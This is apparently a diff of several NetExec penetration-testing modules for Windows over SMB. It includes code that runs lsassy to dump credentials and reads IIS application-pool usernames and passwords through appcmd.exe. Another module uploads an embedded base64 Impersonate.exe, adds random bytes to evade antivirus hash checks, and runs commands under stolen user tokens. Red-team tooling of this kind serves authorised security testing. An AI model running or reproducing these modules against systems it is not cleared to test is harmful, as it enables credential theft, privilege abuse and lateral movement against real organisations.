connection.domain = user[0].split("@")[1]
setattr(connection, "host", pc[0].split(".")[0])
setattr(connection, "username", user[0].split("@")[0])
setattr(connection, "nthash", user[1])
setattr(connection, "nthash", user[1])
connection.host = pc[0].split(".")[0]
connection.username = user[0].split("@")[0]
connection.nthash = user[1]
connection.nthash = user[1]
try:
self.run_lsassy(context, connection, cursor)
cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'")
@@ -302,7 +294,7 @@ class NXCModule:
neo4j_db = f"bolt://{neo4j_uri}:{neo4j_port}"
driver = GraphDatabase.driver(neo4j_db, auth=basic_auth(neo4j_user, neo4j_pass), encrypted=False)
neo4j_conn(context, connection, driver)
neo4j_local_admins(context, driver)
admin_results = neo4j_local_admins(context, driver)
create_db(admin_results, dbconnection, cursor)
initial_run(connection, cursor)
context.log.display("Running lsassy")
+51
View File
@@ -0,0 +1,51 @@
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
class NXCModule:
"""Module by @joaovarelas"""
name = "hyperv-host"
description = "Performs a registry query on the VM to lookup its HyperV Host"
supported_protocols = ["smb"]
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
""""""
def on_admin_login(self, context, connection):
self.context = context
path = "SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters"
key = "HostName"
try:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
# Query
try:
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, path)
key_handle = ans["phkResult"]
data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, key)
self.context.log.highlight(f"{key}: {reg_value}")
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
except DCERPCException as e:
self.context.log.debug(f"Registry key {path}\\{key} does not exist: {e}")
except DCERPCException as e:
self.context.log.fail(f"DCERPC Error while querying registry: {e}")
except Exception as e:
self.context.log.fail(f"Error while querying registry: {e}")
finally:
remote_ops.finish()
+13 -23
View File
@@ -1,18 +1,13 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
class NXCModule:
"""
Checks for credentials in IIS Application Pool configuration files using appcmd.exe.
Module by Brandon Fisher @shad0wcntr0ller
"""
name = 'iis'
name = "iis"
description = "Checks for credentials in IIS Application Pool configuration files using appcmd.exe"
supported_protocols = ['smb']
opsec_safe = True
multiple_hosts = True
supported_protocols = ["smb"]
def __init__(self):
pass
@@ -24,29 +19,26 @@ class NXCModule:
self.check_appcmd(context, connection)
def check_appcmd(self, context, connection):
if not hasattr(connection, 'has_run'):
if not hasattr(connection, "has_run"):
connection.has_run = False
if connection.has_run:
return
connection.has_run = True
try:
connection.conn.listPath('C$', '\\Windows\\System32\\inetsrv\\appcmd.exe')
connection.conn.listPath("C$", "\\Windows\\System32\\inetsrv\\appcmd.exe")
self.execute_appcmd(context, connection)
except:
context.log.fail("appcmd.exe not found, this module is not applicable.")
except Exception as e:
context.log.fail(f"appcmd.exe not found, this module is not applicable - {e}")
return
def execute_appcmd(self, context, connection):
command = f'powershell -c "C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*"'
context.log.info(f'Checking For Hidden Credentials With Appcmd.exe')
command = 'powershell -c "C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*"'
context.log.info("Checking For Hidden Credentials With Appcmd.exe")
output = connection.execute(command, True)
lines = output.splitlines()
username = None
password = None
@@ -55,20 +47,19 @@ class NXCModule:
credentials_set = set()
for line in lines:
if 'APPPOOL.NAME:' in line:
apppool_name = line.split('APPPOOL.NAME:')[1].strip().strip('"')
if "APPPOOL.NAME:" in line:
apppool_name = line.split("APPPOOL.NAME:")[1].strip().strip('"')
if "userName:" in line:
username = line.split("userName:")[1].strip().strip('"')
if "password:" in line:
password = line.split("password:")[1].strip().strip('"')
if apppool_name and username is not None and password is not None:
if apppool_name and username is not None and password is not None:
current_credentials = (apppool_name, username, password)
if current_credentials not in credentials_set:
credentials_set.add(current_credentials)
if username:
context.log.success(f"Credentials Found for APPPOOL: {apppool_name}")
if password == "":
@@ -76,7 +67,6 @@ class NXCModule:
else:
context.log.highlight(f"Username: {username}, Password: {password}")
username = None
password = None
apppool_name = None
+32 -23
View File
@@ -4,31 +4,36 @@
# Token manipulation blog post https://sensepost.com/blog/2022/abusing-windows-tokens-to-compromise-active-directory-without-touching-lsass/
from base64 import b64decode
from sys import exit
from os import path
import sys
from datetime import datetime
from nxc.paths import DATA_PATH
class NXCModule:
name = "impersonate"
description = "List and impersonate tokens to run command as locally logged on users"
supported_protocols = ["smb"]
opsec_safe = True # could be flagged
multiple_hosts = True
def options(self, context, module_options):
'''
TOKEN // Token id to usurp
EXEC // Command to exec
IMP_EXE // Path to the Impersonate binary on your local computer
'''
"""
TOKEN // Token id to usurp
EXEC // Command to exec
IMP_EXE // Path to the Impersonate binary on your local computer
"""
self.tmp_dir = "C:\\Windows\\Temp\\"
self.share = "C$"
self.tmp_share = self.tmp_dir.split(":")[1]
self.impersonate = "Impersonate.exe"
self.useembeded = True
self.token = self.cmd = ""
self.impersonate_embedded = b64decode("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 truncated
with open(path.join(DATA_PATH, ("impersonate_module/impersonate.bs64"))) as impersonate_file:
self.impersonate_embedded = b64decode(impersonate_file.read())
# Add some random binary data to defeat AVs which check the file hash
self.impersonate_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
if "EXEC" in module_options:
self.cmd = module_options["EXEC"]
@@ -42,32 +47,36 @@ class NXCModule:
def list_available_primary_tokens(self, _, connection):
command = f"{self.tmp_dir}Impersonate.exe list"
return connection.execute(command, True)
def on_admin_login(self, context, connection):
def on_admin_login(self, context, connection):
if self.useembeded:
file_to_upload = "/tmp/Impersonate.exe"
with open(file_to_upload, 'wb') as impersonate:
impersonate.write(self.impersonate_embedded)
try:
with open(file_to_upload, "wb") as impersonate:
impersonate.write(self.impersonate_embedded)
except FileNotFoundError:
context.log.fail(f"Impersonate file specified '{file_to_upload}' does not exist!")
sys.exit(1)
else:
if path.isfile(self.imp_exe):
file_to_upload = self.imp_exe
else:
context.log.error(f"Cannot open {self.imp_exe}")
exit(1)
sys.exit(1)
context.log.display(f"Uploading {self.impersonate}")
with open(file_to_upload, 'rb') as impersonate:
with open(file_to_upload, "rb") as impersonate:
try:
connection.conn.putFile(self.share, f"{self.tmp_share}{self.impersonate}", impersonate.read)
context.log.success(f"Impersonate binary successfully uploaded")
context.log.success("Impersonate binary successfully uploaded")
except Exception as e:
context.log.fail(f"Error writing file to share {self.tmp_share}: {e}")
return
try:
if self.cmd == "" or self.token == "":
context.log.display(f"Listing available primary tokens")
context.log.display("Listing available primary tokens")
p = self.list_available_primary_tokens(context, connection)
for line in p.splitlines():
token, token_integrity, token_owner = line.split(" ", 2)
@@ -81,19 +90,19 @@ class NXCModule:
impersonated_user = token_owner.strip()
break
if impersonated_user:
if impersonated_user:
context.log.display(f"Executing {self.cmd} as {impersonated_user}")
command = f'{self.tmp_dir}Impersonate.exe exec {self.token} \"{self.cmd}\"'
command = f'{self.tmp_dir}Impersonate.exe exec {self.token} "{self.cmd}"'
for line in connection.execute(command, True, methods=["smbexec"]).splitlines():
context.log.highlight(line)
else:
context.log.fail(f"Invalid token ID submitted")
context.log.fail("Invalid token ID submitted")
except Exception as e:
context.log.fail(f"Error runing command: {e}")
finally:
try:
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}")
context.log.success(f"Impersonate binary successfully deleted")
context.log.success("Impersonate binary successfully deleted")
except Exception as e:
context.log.fail(f"Error deleting Impersonate.exe on {self.share}: {e}")
-5
View File
@@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5 import scmr
from impacket.examples.secretsdump import RemoteOperations
@@ -10,8 +7,6 @@ class NXCModule:
name = "install_elevated"
description = "Checks for AlwaysInstallElevated"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
""" """
+47
View File
@@ -0,0 +1,47 @@
# Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
# Airbus CERT
# module by @mpgn_x64
# updated by @NeffIsBack
from ipaddress import ip_address
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE, DCERPCException
from impacket.dcerpc.v5.dcomrt import IObjectExporter
class NXCModule:
name = "ioxidresolver"
description = "This module helps you to identify hosts that have additional active interfaces"
supported_protocols = ["smb", "wmi"]
def options(self, context, module_options):
"""DIFFERENT show only ip address if different from target ip (Default: False)"""
self.pivot = module_options.get("DIFFERENT", "false").lower() in ["true", "1"]
def on_login(self, context, connection):
try:
rpctransport = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{connection.host}")
rpctransport.setRemoteHost(connection.host)
portmap = rpctransport.get_dce_rpc()
portmap.set_auth_level(RPC_C_AUTHN_LEVEL_NONE)
portmap.connect()
objExporter = IObjectExporter(portmap)
bindings = objExporter.ServerAlive2()
context.log.debug(f"Retrieving network interface of {connection.host}")
for binding in bindings:
NetworkAddr = binding["aNetworkAddr"]
try:
ip_address(NetworkAddr[:-1])
if self.pivot:
if NetworkAddr.rstrip("\x00") != connection.host:
context.log.highlight(f"Address: {NetworkAddr}")
else:
context.log.highlight(f"Address: {NetworkAddr}")
except Exception as e:
context.log.debug(e)
except DCERPCException as e:
context.log.error(f"DCERPCException error: {e}")
Loaded 100 of 257 files, more files were not shown because too many files have changed in this diff. Show more